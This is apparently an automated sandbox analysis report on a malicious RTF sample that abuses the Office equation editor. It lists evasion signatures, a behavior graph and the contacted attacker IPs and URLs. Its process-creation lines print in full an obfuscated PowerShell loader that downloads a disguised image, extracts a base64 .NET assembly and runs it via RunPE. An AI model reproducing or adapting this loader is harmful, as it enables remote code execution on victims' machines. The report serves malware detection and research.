Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 780 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2344 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1812 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3180 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3304 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3308 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3280 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3424 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035106C2 mov edx, dword ptr fs:[00000030h] 2_2_035106C2
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.29 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3200, type: MEMORYSTR
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ". ( $verbosepreference.tostring()[1,3]+'x'-join'')( (('94ylink = ykohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235yko; 94ywebclient = new-object system.net.webclie'+'nt; try { 94ydownloadeddata = 94ywebclient.downloaddata(94ylink) } catch { write-host ykofailed to download data from 94ylinkyko -foregroundcolor red; ex'+'it }; if (94ydownloadeddata -ne 94ynull) { 94'+'yimagetext = ['+'system.text.encoding]::utf8.getstring(94ydownload'+'eddata); 94ystartflag = yko<<base64_start>>yko;'+' 94yendflag '+'= yko<<base64_end>>yko; 94ystartindex = 94yimagetext.indexof(94ystartflag); 94yendindex = 94yimagetext.indexof(94yendflag); if (94ystartindex -ge 0 -and 94yen'+'dindex -gt 94ystartind'+'ex) { 94ystartindex += 94ystartflag.length; 94ybase64length = 94yendindex - 94ystartindex; 94ybase64command = 94yimagetext.substring(94yst'+'a'+'rtindex, 94ybase64length); 94ycommand'+'bytes = [sy'+'st'+'em.convert]::fro'+'mbase64string(94ybase64command); 94yloadedassembly = [system.reflection'+'.assembly]::load(94ycommandbytes); 94ytype = 9'+'4yloadedassembly.gettype(ykorunpe.homeyko); 94ymethod = 94ytype.getmethod(ykovaiyko).invoke('+'94ynull, ['+'object[]] (ykotxt.fdw/11033/61.532.59.32//:ptthyko ,'+' ykodesativadoyko , ykodesativadoyko , ykodesati'+'vadoyko,ykoregasmyko,ykoyko)) } }') -creplace 'yko',[char]39 -creplace([char]57+[char]52+[char]89),[char]36) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command ". ( $verbosepreference.tostring()[1,3]+'x'-join'')( (('94ylink = ykohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235yko; 94ywebclient = new-object system.net.webclie'+'nt; try { 94ydownloadeddata = 94ywebclient.downloaddata(94ylink) } catch { write-host ykofailed to download data from 94ylinkyko -foregroundcolor red; ex'+'it }; if (94ydownloadeddata -ne 94ynull) { 94'+'yimagetext = ['+'system.text.encoding]::utf8.getstring(94ydownload'+'eddata); 94ystartflag = yko<<base64_start>>yko;'+' 94yendflag '+'= yko<<base64_end>>yko; 94ystartindex = 94yimagetext.indexof(94ystartflag); 94yendindex = 94yimagetext.indexof(94yendflag); if (94ystartindex -ge 0 -and 94yen'+'dindex -gt 94ystartind'+'ex) { 94ystartindex += 94ystartflag.length; 94ybase64length = 94yendindex - 94ystartindex; 94ybase64command = 94yimagetext.substring(94yst'+'a'+'rtindex, 94ybase64length); 94ycommand'+'bytes = [sy'+'st'+'em.convert]::fro'+'mbase64string(94ybase64command); 94yloadedassembly = [system.reflection'+'.assembly]::load(94ycommandbytes); 94ytype = 9'+'4yloadedassembly.gettype(ykorunpe.homeyko); 94ymethod = 94ytype.getmethod(ykovaiyko).invoke('+'94ynull, ['+'object[]] (ykotxt.fdw/11033/61.532.59.32//:ptthyko ,'+' ykodesativadoyko , ykodesativadoyko , ykodesati'+'vadoyko,ykoregasmyko,ykoyko)) } }') -creplace 'yko',[char]39 -creplace([char]57+[char]52+[char]89),[char]36) )" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1466761 Sample: 4YlwTsmpuZ.rtf Startdate: 03/07/2024 Architecture: WINDOWS Score: 100 33 Snort IDS alert for network traffic 2->33 35 Multi AV Scanner detection for domain / URL 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 15 other signatures 2->39 8 WINWORD.EXE 291 13 2->8         started        process3 process4 10 EQNEDT32.EXE 12 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 31 23.95.235.16, 49161, 80 AS-COLOCROSSINGUS United States 10->31 25 C:\Users\user\...\greatideaforfollowers.vBS, Unicode 10->25 dropped 51 Office equation editor establishes network connection 10->51 53 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->53 17 wscript.exe 1 10->17         started        file6 signatures7 process8 dnsIp9 27 91.92.254.29, 49162, 80 THEZONEBG Bulgaria 17->27 41 System process connects to network (likely due to code injection or exploit) 17->41 43 Suspicious powershell command line found 17->43 45 Wscript starts Powershell (via cmd or directly) 17->45 47 3 other signatures 17->47 21 powershell.exe 12 4 17->21         started        signatures10 process11 dnsIp12 29 uploaddeimagens.com.br 188.114.96.3, 443, 49163 CLOUDFLARENETUS European Union 21->29 49 Installs new ROOT certificates 21->49 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.92.254.29
 unknown Bulgaria
34368 THEZONEBG true
23.95.235.16
 unknown United States
36352 AS-COLOCROSSINGUS true
188.114.96.3
 uploaddeimagens.com.br European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
uploaddeimagens.com.br 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://23.95.235.16/33011/greatideaforfollowers.gif true
  • Avira URL Cloud: safe
 unknown
https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235 true
  • 5%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown